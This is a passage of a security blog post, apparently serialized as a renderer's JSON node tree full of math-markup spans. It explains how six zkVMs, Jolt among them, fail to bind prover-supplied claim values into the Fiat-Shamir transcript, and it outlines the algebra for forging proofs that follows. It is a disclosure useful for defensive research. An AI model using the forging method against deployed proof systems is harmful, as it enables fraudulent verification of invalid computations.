6],[112622,112653],{"type":20,"tag":315,"props":112623,"children":112625},{"className":112624},[2429],[112626,112648],{"type":20,"tag":315,"props":112627,"children":112630},{"className":112628,"style":112629},[2434],"height:0.3281em;",[112631],{"type":20,"tag":315,"props":112632,"children":112634},{"style":112633},"top:-2.357em;margin-right:0.0714em;",[112635,112639],{"type":20,"tag":315,"props":112636,"children":112638},{"className":112637,"style":107165},[2443],[],{"type":20,"tag":315,"props":112640,"children":112642},{"className":112641},[2449,107170,107171,2452],[112643],{"type":20,"tag":315,"props":112644,"children":112646},{"className":112645,"style":112528},[2403,19992,2452],[112647],{"type":26,"value":7052},{"type":20,"tag":315,"props":112649,"children":112651},{"className":112650},[20149],[112652],{"type":26,"value":20152},{"type":20,"tag":315,"props":112654,"children":112656},{"className":112655},[2429],[112657],{"type":20,"tag":315,"props":112658,"children":112661},{"className":112659,"style":112660},[2434],"height:0.2819em;",[112662],{"type":20,"tag":315,"props":112663,"children":112664},{},[],{"type":20,"tag":315,"props":112666,"children":112667},{"style":111878},[112668,112672],{"type":20,"tag":315,"props":112669,"children":112671},{"className":112670,"style":110476},[2443],[],{"type":20,"tag":315,"props":112673,"children":112675},{"className":112674,"style":111888},[111887],[],{"type":20,"tag":315,"props":112677,"children":112678},{"style":111892},[112679,112683],{"type":20,"tag":315,"props":112680,"children":112682},{"className":112681,"style":110476},[2443],[],{"type":20,"tag":315,"props":112684,"children":112686},{"className":112685},[2449,2450,2451,2452],[112687],{"type":20,"tag":315,"props":112688,"children":112690},{"className":112689},[2403,2452],[112691],{"type":20,"tag":315,"props":112692,"children":112694},{"className":112693},[2403,2452],[112695],{"type":26,"value":2406},{"type":20,"tag":315,"props":112697,"children":112699},{"className":112698},[20149],[112700],{"type":26,"value":20152},{"type":20,"tag":315,"props":112702,"children":112704},{"className":112703},[2429],[112705],{"type":20,"tag":315,"props":112706,"children":112709},{"className":112707,"style":112708},[2434],"height:0.5423em;",[112710],{"type":20,"tag":315,"props":112711,"children":112712},{},[],{"type":20,"tag":315,"props":112714,"children":112716},{"className":112715},[20143,111823],[],{"type":20,"tag":315,"props":112718,"children":112720},{"className":112719,"style":2484},[2483],[],{"type":20,"tag":315,"props":112722,"children":112724},{"className":112723},[2489],[112725],{"type":26,"value":2463},{"type":20,"tag":315,"props":112727,"children":112729},{"className":112728,"style":2484},[2483],[],{"type":20,"tag":315,"props":112731,"children":112733},{"className":112732},[2392],[112734,112739,112797,112801],{"type":20,"tag":315,"props":112735,"children":112738},{"className":112736,"style":112737},[2397],"height:1.296em;vertical-align:-0.4509em;",[],{"type":20,"tag":315,"props":112740,"children":112742},{"className":112741},[20028],[112743,112748],{"type":20,"tag":315,"props":112744,"children":112746},{"className":112745,"style":20035},[20028,20033,20034],[112747],{"type":26,"value":107100},{"type":20,"tag":315,"props":112749,"children":112751},{"className":112750},[2419],[112752],{"type":20,"tag":315,"props":112753,"children":112755},{"className":112754},[2424,20046],[112756,112785],{"type":20,"tag":315,"props":112757,"children":112759},{"className":112758},[2429],[112760,112780],{"type":20,"tag":315,"props":112761,"children":112763},{"className":112762,"style":111977},[2434],[112764],{"type":20,"tag":315,"props":112765,"children":112766},{"style":20059},[112767,112771],{"type":20,"tag":315,"props":112768,"children":112770},{"className":112769,"style":2444},[2443],[],{"type":20,"tag":315,"props":112772,"children":112774},{"className":112773},[2449,2450,2451,2452],[112775],{"type":20,"tag":315,"props":112776,"children":112778},{"className":112777,"style":92734},[2403,19992,2452],[112779],{"type":26,"value":86942},{"type":20,"tag":315,"props":112781,"children":112783},{"className":112782},[20149],[112784],{"type":26,"value":20152},{"type":20,"tag":315,"props":112786,"children":112788},{"className":112787},[2429],[112789],{"type":20,"tag":315,"props":112790,"children":112793},{"className":112791,"style":112792},[2434],"height:0.2997em;",[112794],{"type":20,"tag":315,"props":112795,"children":112796},{},[],{"type":20,"tag":315,"props":112798,"children":112800},{"className":112799,"style":2522},[2483],[],{"type":20,"tag":315,"props":112802,"children":112804},{"className":112803},[2403],[112805,112809,112962],{"type":20,"tag":315,"props":112806,"children":112808},{"className":112807},[20121,111823],[],{"type":20,"tag":315,"props":112810,"children":112812},{"className":112811},[111828],[112813],{"type":20,"tag":315,"props":112814,"children":112816},{"className":112815},[2424,20046],[112817,112950],{"type":20,"tag":315,"props":112818,"children":112820},{"className":112819},[2429],[112821,112945],{"type":20,"tag":315,"props":112822,"children":112824},{"className":112823,"style":111841},[2434],[112825,112914,112925],{"type":20,"tag":315,"props":112826,"children":112827},{"style":111845},[112828,112832],{"type":20,"tag":315,"props":112829,"children":112831},{"className":112830,"style":110476},[2443],[],{"type":20,"tag":315,"props":112833,"children":112835},{"className":112834},[2449,2450,2451,2452],[112836],{"type":20,"tag":315,"props":112837,"children":112839},{"className":112838},[2403,2452],[112840,112845,112850],{"type":20,"tag":315,"props":112841,"children":112843},{"className":112842,"style":111862},[2403,19992,2452],[112844],{"type":26,"value":111865},{"type":20,"tag":315,"props":112846,"children":112848},{"className":112847},[2489,2452],[112849],{"type":26,"value":2463},{"type":20,"tag":315,"props":112851,"children":112853},{"className":112852},[2403,2452],[112854,112864],{"type":20,"tag":315,"props":112855,"children":112857},{"className":112856},[2403,26,2452],[112858],{"type":20,"tag":315,"props":112859,"children":112861},{"className":112860},[2403,2452],[112862],{"type":26,"value":112863},"consume",{"type":20,"tag":315,"props":112865,"children":112867},{"className":112866},[2419],[112868],{"type":20,"tag":315,"props":112869,"children":112871},{"className":112870},[2424,20046],[112872,112902],{"type":20,"tag":315,"props":112873,"children":112875},{"className":112874},[2429],[112876,112897],{"type":20,"tag":315,"props":112877,"children":112879},{"className":112878,"style":110637},[2434],[112880],{"type":20,"tag":315,"props":112881,"children":112883},{"style":112882},"top:-2.3488em;margin-right:0.0714em;",[112884,112888],{"type":20,"tag":315,"props":112885,"children":112887},{"className":112886,"style":107165},[2443],[],{"type":20,"tag":315,"props":112889,"children":112891},{"className":112890},[2449,107170,107171,2452],[112892],{"type":20,"tag":315,"props":112893,"children":112895},{"className":112894,"style":92734},[2403,19992,2452],[112896],{"type":26,"value":86942},{"type":20,"tag":315,"props":112898,"children":112900},{"className":112899},[20149],[112901],{"type":26,"value":20152},{"type":20,"tag":315,"props":112903,"children":112905},{"className":112904},[2429],[112906],{"type":20,"tag":315,"props":112907,"children":112910},{"className":112908,"style":112909},[2434],"height:0.1512em;",[112911],{"type":20,"tag":315,"props":112912,"children":112913},{},[],{"type":20,"tag":315,"props":112915,"children":112916},{"style":111878},[112917,112921],{"type":20,"tag":315,"props":112918,"children":112920},{"className":112919,"style":110476},[2443],[],{"type":20,"tag":315,"props":112922,"children":112924},{"className":112923,"style":111888},[111887],[],{"type":20,"tag":315,"props":112926,"children":112927},{"style":111892},[112928,112932],{"type":20,"tag":315,"props":112929,"children":112931},{"className":112930,"style":110476},[2443],[],{"type":20,"tag":315,"props":112933,"children":112935},{"className":112934},[2449,2450,2451,2452],[112936],{"type":20,"tag":315,"props":112937,"children":112939},{"className":112938},[2403,2452],[112940],{"type":20,"tag":315,"props":112941,"children":112943},{"className":112942},[2403,2452],[112944],{"type":26,"value":2406},{"type":20,"tag":315,"props":112946,"children":112948},{"className":112947},[20149],[112949],{"type":26,"value":20152},{"type":20,"tag":315,"props":112951,"children":112953},{"className":112952},[2429],[112954],{"type":20,"tag":315,"props":112955,"children":112958},{"className":112956,"style":112957},[2434],"height:0.4509em;",[112959],{"type":20,"tag":315,"props":112960,"children":112961},{},[],{"type":20,"tag":315,"props":112963,"children":112965},{"className":112964},[20143,111823],[],{"type":20,"tag":29,"props":112967,"children":112968},{},[112969,112971,113153],{"type":26,"value":112970},"The global check: ",{"type":20,"tag":119,"props":112972,"children":112974},{"className":112973},[2375,2376],[112975],{"type":20,"tag":315,"props":112976,"children":112978},{"className":112977},[2381],[112979],{"type":20,"tag":315,"props":112980,"children":112982},{"className":112981,"ariaHidden":2387},[2386],[112983,113140],{"type":20,"tag":315,"props":112984,"children":112986},{"className":112985},[2392],[112987,112991,113048,113052,113061,113066,113127,113131,113136],{"type":20,"tag":315,"props":112988,"children":112990},{"className":112989,"style":91247},[2397],[],{"type":20,"tag":315,"props":112992,"children":112994},{"className":112993},[20028],[112995,113000],{"type":20,"tag":315,"props":112996,"children":112998},{"className":112997,"style":20035},[20028,20033,20034],[112999],{"type":26,"value":107100},{"type":20,"tag":315,"props":113001,"children":113003},{"className":113002},[2419],[113004],{"type":20,"tag":315,"props":113005,"children":113007},{"className":113006},[2424,20046],[113008,113037],{"type":20,"tag":315,"props":113009,"children":113011},{"className":113010},[2429],[113012,113032],{"type":20,"tag":315,"props":113013,"children":113015},{"className":113014,"style":112512},[2434],[113016],{"type":20,"tag":315,"props":113017,"children":113018},{"style":20059},[113019,113023],{"type":20,"tag":315,"props":113020,"children":113022},{"className":113021,"style":2444},[2443],[],{"type":20,"tag":315,"props":113024,"children":113026},{"className":113025},[2449,2450,2451,2452],[113027],{"type":20,"tag":315,"props":113028,"children":113030},{"className":113029},[2403,19992,2452],[113031],{"type":26,"value":2122},{"type":20,"tag":315,"props":113033,"children":113035},{"className":113034},[20149],[113036],{"type":26,"value":20152},{"type":20,"tag":315,"props":113038,"children":113040},{"className":113039},[2429],[113041],{"type":20,"tag":315,"props":113042,"children":113044},{"className":113043,"style":112792},[2434],[113045],{"type":20,"tag":315,"props":113046,"children":113047},{},[],{"type":20,"tag":315,"props":113049,"children":113051},{"className":113050,"style":2522},[2483],[],{"type":20,"tag":315,"props":113053,"children":113055},{"className":113054},[2403,26],[113056],{"type":20,"tag":315,"props":113057,"children":113059},{"className":113058},[2403],[113060],{"type":26,"value":112398},{"type":20,"tag":315,"props":113062,"children":113064},{"className":113063,"style":91305},[2403],[113065],{"type":26,"value":1463},{"type":20,"tag":315,"props":113067,"children":113069},{"className":113068},[2403],[113070,113079],{"type":20,"tag":315,"props":113071,"children":113073},{"className":113072},[2403,26],[113074],{"type":20,"tag":315,"props":113075,"children":113077},{"className":113076},[2403],[113078],{"type":26,"value":74890},{"type":20,"tag":315,"props":113080,"children":113082},{"className":113081},[2419],[113083],{"type":20,"tag":315,"props":113084,"children":113086},{"className":113085},[2424,20046],[113087,113116],{"type":20,"tag":315,"props":113088,"children":113090},{"className":113089},[2429],[113091,113111],{"type":20,"tag":315,"props":113092,"children":113094},{"className":113093,"style":91834},[2434],[113095],{"type":20,"tag":315,"props":113096,"children":113097},{"style":112435},[113098,113102],{"type":20,"tag":315,"props":113099,"children":113101},{"className":113100,"style":2444},[2443],[],{"type":20,"tag":315,"props":113103,"children":113105},{"className":113104},[2449,2450,2451,2452],[113106],{"type":20,"tag":315,"props":113107,"children":113109},{"className":113108},[2403,19992,2452],[113110],{"type":26,"value":2122},{"type":20,"tag":315,"props":113112,"children":113114},{"className":113113},[20149],[113115],{"type":26,"value":20152},{"type":20,"tag":315,"props":113117,"children":113119},{"className":113118},[2429],[113120],{"type":20,"tag":315,"props":113121,"children":113123},{"className":113122,"style":91388},[2434],[113124],{"type":20,"tag":315,"props":113125,"children":113126},{},[],{"type":20,"tag":315,"props":113128,"children":113130},{"className":113129,"style":2581},[2483],[],{"type":20,"tag":315,"props":113132,"children":113134},{"className":113133},[2586],[113135],{"type":26,"value":337},{"type":20,"tag":315,"props":113137,"children":113139},{"className":113138,"style":2581},[2483],[],{"type":20,"tag":315,"props":113141,"children":113143},{"className":113142},[2392],[113144,113148],{"type":20,"tag":315,"props":113145,"children":113147},{"className":113146,"style":92336},[2397],[],{"type":20,"tag":315,"props":113149,"children":113151},{"className":113150},[2403],[113152],{"type":26,"value":1063},{"type":26,"value":61},{"type":20,"tag":29,"props":113155,"children":113156},{},[113157,113162,113164,113170],{"type":20,"tag":3717,"props":113158,"children":113159},{},[113160],{"type":26,"value":113161},"Why this is vulnerable:",{"type":26,"value":113163}," The ",{"type":20,"tag":119,"props":113165,"children":113167},{"className":113166},[],[113168],{"type":26,"value":113169},"claimed_sum",{"type":26,"value":113171}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":20,"tag":17197,"props":113173,"children":113174},{},[],{"type":20,"tag":21,"props":113176,"children":113178},{"id":113177},"the-universal-attack-pattern",[113179],{"type":26,"value":113180},"The Universal Attack Pattern",{"type":20,"tag":29,"props":113182,"children":113183},{},[113184],{"type":26,"value":113185},"Now we can describe the attack pattern that works on all six systems:",{"type":20,"tag":29,"props":113187,"children":113188},{},[113189],{"type":20,"tag":2308,"props":113190,"children":113193},{"alt":113191,"src":113192},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":20,"tag":29,"props":113195,"children":113196},{},[113197,113199,113224],{"type":26,"value":113198},"When a value ",{"type":20,"tag":119,"props":113200,"children":113202},{"className":113201},[2375,2376],[113203],{"type":20,"tag":315,"props":113204,"children":113206},{"className":113205},[2381],[113207],{"type":20,"tag":315,"props":113208,"children":113210},{"className":113209,"ariaHidden":2387},[2386],[113211],{"type":20,"tag":315,"props":113212,"children":113214},{"className":113213},[2392],[113215,113219],{"type":20,"tag":315,"props":113216,"children":113218},{"className":113217,"style":19987},[2397],[],{"type":20,"tag":315,"props":113220,"children":113222},{"className":113221,"style":106503},[2403,19992],[113223],{"type":26,"value":106827},{"type":26,"value":113225}," isn't transcript-bound:",{"type":20,"tag":68,"props":113227,"children":113228},{},[113229,113260,113337,113482],{"type":20,"tag":72,"props":113230,"children":113231},{},[113232,113234,113259],{"type":26,"value":113233},"Challenges are fixed (independent of ",{"type":20,"tag":119,"props":113235,"children":113237},{"className":113236},[2375,2376],[113238],{"type":20,"tag":315,"props":113239,"children":113241},{"className":113240},[2381],[113242],{"type":20,"tag":315,"props":113243,"children":113245},{"className":113244,"ariaHidden":2387},[2386],[113246],{"type":20,"tag":315,"props":113247,"children":113249},{"className":113248},[2392],[113250,113254],{"type":20,"tag":315,"props":113251,"children":113253},{"className":113252,"style":19987},[2397],[],{"type":20,"tag":315,"props":113255,"children":113257},{"className":113256,"style":106503},[2403,19992],[113258],{"type":26,"value":106827},{"type":26,"value":1509},{"type":20,"tag":72,"props":113261,"children":113262},{},[113263,113265],{"type":26,"value":113264},"The verification equation has form: ",{"type":20,"tag":119,"props":113266,"children":113268},{"className":113267},[2375,2376],[113269],{"type":20,"tag":315,"props":113270,"children":113272},{"className":113271},[2381],[113273],{"type":20,"tag":315,"props":113274,"children":113276},{"className":113275,"ariaHidden":2387},[2386],[113277,113318],{"type":20,"tag":315,"props":113278,"children":113280},{"className":113279},[2392],[113281,113285,113290,113295,113300,113305,113309,113314],{"type":20,"tag":315,"props":113282,"children":113284},{"className":113283,"style":2504},[2397],[],{"type":20,"tag":315,"props":113286,"children":113288},{"className":113287,"style":93659},[2403,19992],[113289],{"type":26,"value":31499},{"type":20,"tag":315,"props":113291,"children":113293},{"className":113292},[20121],[113294],{"type":26,"value":1049},{"type":20,"tag":315,"props":113296,"children":113298},{"className":113297,"style":106503},[2403,19992],[113299],{"type":26,"value":106827},{"type":20,"tag":315,"props":113301,"children":113303},{"className":113302},[20143],[113304],{"type":26,"value":1509},{"type":20,"tag":315,"props":113306,"children":113308},{"className":113307,"style":2581},[2483],[],{"type":20,"tag":315,"props":113310,"children":113312},{"className":113311},[2586],[113313],{"type":26,"value":337},{"type":20,"tag":315,"props":113315,"children":113317},{"className":113316,"style":2581},[2483],[],{"type":20,"tag":315,"props":113319,"children":113321},{"className":113320},[2392],[113322,113327],{"type":20,"tag":315,"props":113323,"children":113326},{"className":113324,"style":113325},[2397],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":20,"tag":315,"props":113328,"children":113330},{"className":113329},[2403,26],[113331],{"type":20,"tag":315,"props":113332,"children":113334},{"className":113333},[2403],[113335],{"type":26,"value":113336},"target",{"type":20,"tag":72,"props":113338,"children":113339},{},[113340,113341,113367,113369],{"type":26,"value":5875},{"type":20,"tag":119,"props":113342,"children":113344},{"className":113343},[2375,2376],[113345],{"type":20,"tag":315,"props":113346,"children":113348},{"className":113347},[2381],[113349],{"type":20,"tag":315,"props":113350,"children":113352},{"className":113351,"ariaHidden":2387},[2386],[113353],{"type":20,"tag":315,"props":113354,"children":113356},{"className":113355},[2392],[113357,113362],{"type":20,"tag":315,"props":113358,"children":113361},{"className":113359,"style":113360},[2397],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":20,"tag":315,"props":113363,"children":113365},{"className":113364,"style":93659},[2403,19992],[113366],{"type":26,"value":31499},{"type":26,"value":113368}," is linear: ",{"type":20,"tag":119,"props":113370,"children":113372},{"className":113371},[2375,2376],[113373],{"type":20,"tag":315,"props":113374,"children":113376},{"className":113375},[2381],[113377],{"type":20,"tag":315,"props":113378,"children":113380},{"className":113379,"ariaHidden":2387},[2386],[113381,113410,113437,113465],{"type":20,"tag":315,"props":113382,"children":113384},{"className":113383},[2392],[113385,113390,113397,113401,113406],{"type":20,"tag":315,"props":113386,"children":113389},{"className":113387,"style":113388},[2397],"height:0.4445em;",[],{"type":20,"tag":315,"props":113391,"children":113394},{"className":113392,"style":113393},[2403,19992],"margin-right:0.0037em;",[113395],{"type":26,"value":113396},"α",{"type":20,"tag":315,"props":113398,"children":113400},{"className":113399,"style":2484},[2483],[],{"type":20,"tag":315,"props":113402,"children":113404},{"className":113403},[2489],[113405],{"type":26,"value":109567},{"type":20,"tag":315,"props":113407,"children":113409},{"className":113408,"style":2484},[2483],[],{"type":20,"tag":315,"props":113411,"children":113413},{"className":113412},[2392],[113414,113419,113424,113428,113433],{"type":20,"tag":315,"props":113415,"children":113418},{"className":113416,"style":113417},[2397],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":20,"tag":315,"props":113420,"children":113422},{"className":113421,"style":106503},[2403,19992],[113423],{"type":26,"value":106827},{"type":20,"tag":315,"props":113425,"children":113427},{"className":113426,"style":2484},[2483],[],{"type":20,"tag":315,"props":113429,"children":113431},{"className":113430},[2489],[113432],{"type":26,"value":817},{"type":20,"tag":315,"props":113434,"children":113436},{"className":113435,"style":2484},[2483],[],{"type":20,"tag":315,"props":113438,"children":113440},{"className":113439},[2392],[113441,113445,113452,113456,113461],{"type":20,"tag":315,"props":113442,"children":113444},{"className":113443,"style":113360},[2397],[],{"type":20,"tag":315,"props":113446,"children":113449},{"className":113447,"style":113448},[2403,19992],"margin-right:0.05278em;",[113450],{"type":26,"value":113451},"β",{"type":20,"tag":315,"props":113453,"children":113455},{"className":113454,"style":2581},[2483],[],{"type":20,"tag":315,"props":113457,"children":113459},{"className":113458},[2586],[113460],{"type":26,"value":337},{"type":20,"tag":315,"props":113462,"children":113464},{"className":113463,"style":2581},[2483],[],{"type":20,"tag":315,"props":113466,"children":113468},{"className":113467},[2392],[113469,113473],{"type":20,"tag":315,"props":113470,"children":113472},{"className":113471,"style":113325},[2397],[],{"type":20,"tag":315,"props":113474,"children":113476},{"className":113475},[2403,26],[113477],{"type":20,"tag":315,"props":113478,"children":113480},{"className":113479},[2403],[113481],{"type":26,"value":113336},{"type":20,"tag":72,"props":113483,"children":113484},{},[113485,113487],{"type":26,"value":113486},"Solve: ",{"type":20,"tag":119,"props":113488,"children":113490},{"className":113489},[2375,2376],[113491],{"type":20,"tag":315,"props":113492,"children":113494},{"className":113493},[2381],[113495],{"type":20,"tag":315,"props":113496,"children":113498},{"className":113497,"ariaHidden":2387},[2386],[113499,113525,113560],{"type":20,"tag":315,"props":113500,"children":113502},{"className":113501},[2392],[113503,113507,113512,113516,113521],{"type":20,"tag":315,"props":113504,"children":113506},{"className":113505,"style":19987},[2397],[],{"type":20,"tag":315,"props":113508,"children":113510},{"className":113509,"style":106503},[2403,19992],[113511],{"type":26,"value":106827},{"type":20,"tag":315,"props":113513,"children":113515},{"className":113514,"style":2581},[2483],[],{"type":20,"tag":315,"props":113517,"children":113519},{"className":113518},[2586],[113520],{"type":26,"value":337},{"type":20,"tag":315,"props":113522,"children":113524},{"className":113523,"style":2581},[2483],[],{"type":20,"tag":315,"props":113526,"children":113528},{"className":113527},[2392],[113529,113533,113538,113547,113551,113556],{"type":20,"tag":315,"props":113530,"children":113532},{"className":113531,"style":2504},[2397],[],{"type":20,"tag":315,"props":113534,"children":113536},{"className":113535},[20121],[113537],{"type":26,"value":1049},{"type":20,"tag":315,"props":113539,"children":113541},{"className":113540},[2403,26],[113542],{"type":20,"tag":315,"props":113543,"children":113545},{"className":113544},[2403],[113546],{"type":26,"value":113336},{"type":20,"tag":315,"props":113548,"children":113550},{"className":113549,"style":2484},[2483],[],{"type":20,"tag":315,"props":113552,"children":113554},{"className":113553},[2489],[113555],{"type":26,"value":2463},{"type":20,"tag":315,"props":113557,"children":113559},{"className":113558,"style":2484},[2483],[],{"type":20,"tag":315,"props":113561,"children":113563},{"className":113562},[2392],[113564,113568,113573,113578,113583],{"type":20,"tag":315,"props":113565,"children":113567},{"className":113566,"style":2504},[2397],[],{"type":20,"tag":315,"props":113569,"children":113571},{"className":113570,"style":113448},[2403,19992],[113572],{"type":26,"value":113451},{"type":20,"tag":315,"props":113574,"children":113576},{"className":113575},[20143],[113577],{"type":26,"value":1509},{"type":20,"tag":315,"props":113579,"children":113581},{"className":113580},[2403],[113582],{"type":26,"value":786},{"type":20,"tag":315,"props":113584,"children":113586},{"className":113585,"style":113393},[2403,19992],[113587],{"type":26,"value":113396},{"type":20,"tag":29,"props":113589,"children":113590},{},[113591],{"type":26,"value":113592},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":20,"tag":29,"props":113594,"children":113595},{},[113596,113598,113676],{"type":26,"value":113597},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":20,"tag":119,"props":113599,"children":113601},{"className":113600},[2375,2376],[113602],{"type":20,"tag":315,"props":113603,"children":113605},{"className":113604},[2381],[113606],{"type":20,"tag":315,"props":113607,"children":113609},{"className":113608,"ariaHidden":2387},[2386],[113610],{"type":20,"tag":315,"props":113611,"children":113613},{"className":113612},[2392],[113614,113619,113625,113630,113671],{"type":20,"tag":315,"props":113615,"children":113618},{"className":113616,"style":113617},[2397],"height:1.0641em;vertical-align:-0.25em;",[],{"type":20,"tag":315,"props":113620,"children":113622},{"className":113621,"style":91305},[2403,19992],[113623],{"type":26,"value":113624},"O",{"type":20,"tag":315,"props":113626,"children":113628},{"className":113627},[20121],[113629],{"type":26,"value":1049},{"type":20,"tag":315,"props":113631,"children":113633},{"className":113632},[2403],[113634,113639],{"type":20,"tag":315,"props":113635,"children":113637},{"className":113636},[2403,19992],[113638],{"type":26,"value":54656},{"type":20,"tag":315,"props":113640,"children":113642},{"className":113641},[2419],[113643],{"type":20,"tag":315,"props":113644,"children":113646},{"className":113645},[2424],[113647],{"type":20,"tag":315,"props":113648,"children":113650},{"className":113649},[2429],[113651],{"type":20,"tag":315,"props":113652,"children":113654},{"className":113653,"style":2398},[2434],[113655],{"type":20,"tag":315,"props":113656,"children":113657},{"style":2438},[113658,113662],{"type":20,"tag":315,"props":113659,"children":113661},{"className":113660,"style":2444},[2443],[],{"type":20,"tag":315,"props":113663,"children":113665},{"className":113664},[2449,2450,2451,2452],[113666],{"type":20,"tag":315,"props":113667,"children":113669},{"className":113668},[2403,2452],[113670],{"type":26,"value":15698},{"type":20,"tag":315,"props":113672,"children":113674},{"className":113673},[20143],[113675],{"type":26,"value":1509},{"type":26,"value":113677}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":20,"tag":17197,"props":113679,"children":113680},{},[],{"type":20,"tag":21,"props":113682,"children":113684},{"id":113683},"the-six-broken-systems",[113685],{"type":26,"value":113686},"The Six Broken Systems",{"type":20,"tag":29,"props":113688,"children":113689},{},[113690],{"type":20,"tag":2308,"props":113691,"children":113694},{"alt":113692,"src":113693},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":20,"tag":29,"props":113696,"children":113697},{},[113698],{"type":26,"value":113699},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":20,"tag":17197,"props":113701,"children":113702},{},[],{"type":20,"tag":219,"props":113704,"children":113706},{"id":113705},"jolt-a16z",[113707],{"type":26,"value":113708},"Jolt (a16z)",{"type":20,"tag":29,"props":113710,"children":113711},{},[113712],{"type":26,"value":113713},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":20,"tag":29,"props":113715,"children":113716},{},[113717],{"type":20,"tag":3717,"props":113718,"children":113719},{},[113720],{"type":26,"value":113721},"The proof structure:",{"type":20,"tag":305,"props":113723,"children":113725},{"code":113724},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[113726],{"type":20,"tag":119,"props":113727,"children":113728},{"__ignoreMap":7},[113729],{"type":26,"value":113724},{"type":20,"tag":29,"props":113731,"children":113732},{},[113733],{"type":20,"tag":3717,"props":113734,"children":113735},{},[113736],{"type":26,"value":113737},"The verification flow:",{"type":20,"tag":29,"props":113739,"children":113740},{},[113741],{"type":20,"tag":2308,"props":113742,"children":113745},{"alt":113743,"src":113744},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":20,"tag":29,"props":113747,"children":113748},{},[113749,113754,113756,113762,113764,113770,113772,113777],{"type":20,"tag":3717,"props":113750,"children":113751},{},[113752],{"type":26,"value":113753},"The bug:",{"type":26,"value":113755}," Each sumcheck instance provides an ",{"type":20,"tag":119,"props":113757,"children":113759},{"className":113758},[],[113760],{"type":26,"value":113761},"input_claim",{"type":26,"value":113763},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":20,"tag":119,"props":113765,"children":113767},{"className":113766},[],[113768],{"type":26,"value":113769},"opening_claims",{"type":26,"value":113771}," in the proof, but they were ",{"type":20,"tag":3717,"props":113773,"children":113774},{},[113775],{"type":26,"value":113776},"never absorbed into the transcript",{"type":26,"value":113778}," before the batching coefficients were derived.",{"type":20,"tag":29,"props":113780,"children":113781},{},[113782],{"type":20,"tag":2308,"props":113783,"children":113786},{"alt":113784,"src":113785},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":20,"tag":29,"props":113788,"children":113789},{},[113790],{"type":20,"tag":3717,"props":113791,"children":113792},{},[113793],{"type":26,"value":113794},"How sumcheck uses opening_claims:",{"type":20,"tag":29,"props":113796,"children":113797},{},[113798,113800,113806,113808,113885],{"type":26,"value":113799},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":20,"tag":119,"props":113801,"children":113803},{"className":113802},[],[113804],{"type":26,"value":113805},"BatchedClaim",{"type":26,"value":113807}," by taking a random linear combination of the individual claims ",{"type":20,"tag":119,"props":113809,"children":113811},{"className":113810},[2375,2376],[113812],{"type":20,"tag":315,"props":113813,"children":113815},{"className":113814},[2381],[113816],{"type":20,"tag":315,"props":113817,"children":113819},{"className":113818,"ariaHidden":2387},[2386],[113820],{"type":20,"tag":315,"props":113821,"children":113823},{"className":113822},[2392],[113824,113828],{"type":20,"tag":315,"props":113825,"children":113827},{"className":113826,"style":109302},[2397],[],{"type":20,"tag":315,"props":113829,"children":113831},{"className":113830},[2403],[113832,113837],{"type":20,"tag":315,"props":113833,"children":113835},{"className":113834,"style":91539},[2403,19992],[113836],{"type":26,"value":91542},{"type":20,"tag":315,"props":113838,"children":113840},{"className":113839},[2419],[113841],{"type":20,"tag":315,"props":113842,"children":113844},{"className":113843},[2424,20046],[113845,113874],{"type":20,"tag":315,"props":113846,"children":113848},{"className":113847},[2429],[113849,113869],{"type":20,"tag":315,"props":113850,"children":113852},{"className":113851,"style":91834},[2434],[113853],{"type":20,"tag":315,"props":113854,"children":113855},{"style":108734},[113856,113860],{"type":20,"tag":315,"props":113857,"children":113859},{"className":113858,"style":2444},[2443],[],{"type":20,"tag":315,"props":113861,"children":113863},{"className":113862},[2449,2450,2451,2452],[113864],{"type":20,"tag":315,"props":113865,"children":113867},{"className":113866},[2403,19992,2452],[113868],{"type":26,"value":2122},{"type":20,"tag":315,"props":113870,"children":113872},{"className":113871},[20149],[113873],{"type":26,"value":20152},{"type":20,"tag":315,"props":113875,"children":113877},{"className":113876},[2429],[113878],{"type":20,"tag":315,"props":113879,"children":113881},{"className":113880,"style":91388},[2434],[113882],{"type":20,"tag":315,"props":113883,"children":113884},{},[],{"type":26,"value":2884},{"type":20,"tag":29,"props":113887,"children":113888},{},[113889],{"type":20,"tag":119,"props":113890,"children":113892},{"className":113891},[2375,2376],[113893],{"type":20,"tag":315,"props":113894,"children":113896},{"className":113895},[2381],[113897],{"type":20,"tag":315,"props":113898,"children":113900},{"className":113899,"ariaHidden":2387},[2386],[113901,113931,114072],{"type":20,"tag":315,"props":113902,"children":113904},{"className":113903},[2392],[113905,113909,113918,113922,113927],{"type":20,"tag":315,"props":113906,"children":113908},{"className":113907,"style":91220},[2397],[],{"type":20,"tag":315,"props":113910,"children":113912},{"className":113911},[2403,26],[113913],{"type":20,"tag":315,"props":113914,"children":113916},{"className":113915},[2403],[113917],{"type":26,"value":113805},{"type":20,"tag":315,"props":113919,"children":113921},{"className":113920,"style":2581},[2483],[],{"type":20,"tag":315,"props":113923,"children":113925},{"className":113924},[2586],[113926],{"type":26,"value":337},{"type":20,"tag":315,"props":113928,"children":113930},{"className":113929,"style":2581},[2483],[],{"type":20,"tag":315,"props":113932,"children":113934},{"className":113933},[2392],[113935,113940,113997,114001,114059,114063,114068],{"type":20,"tag":315,"props":113936,"children":113939},{"c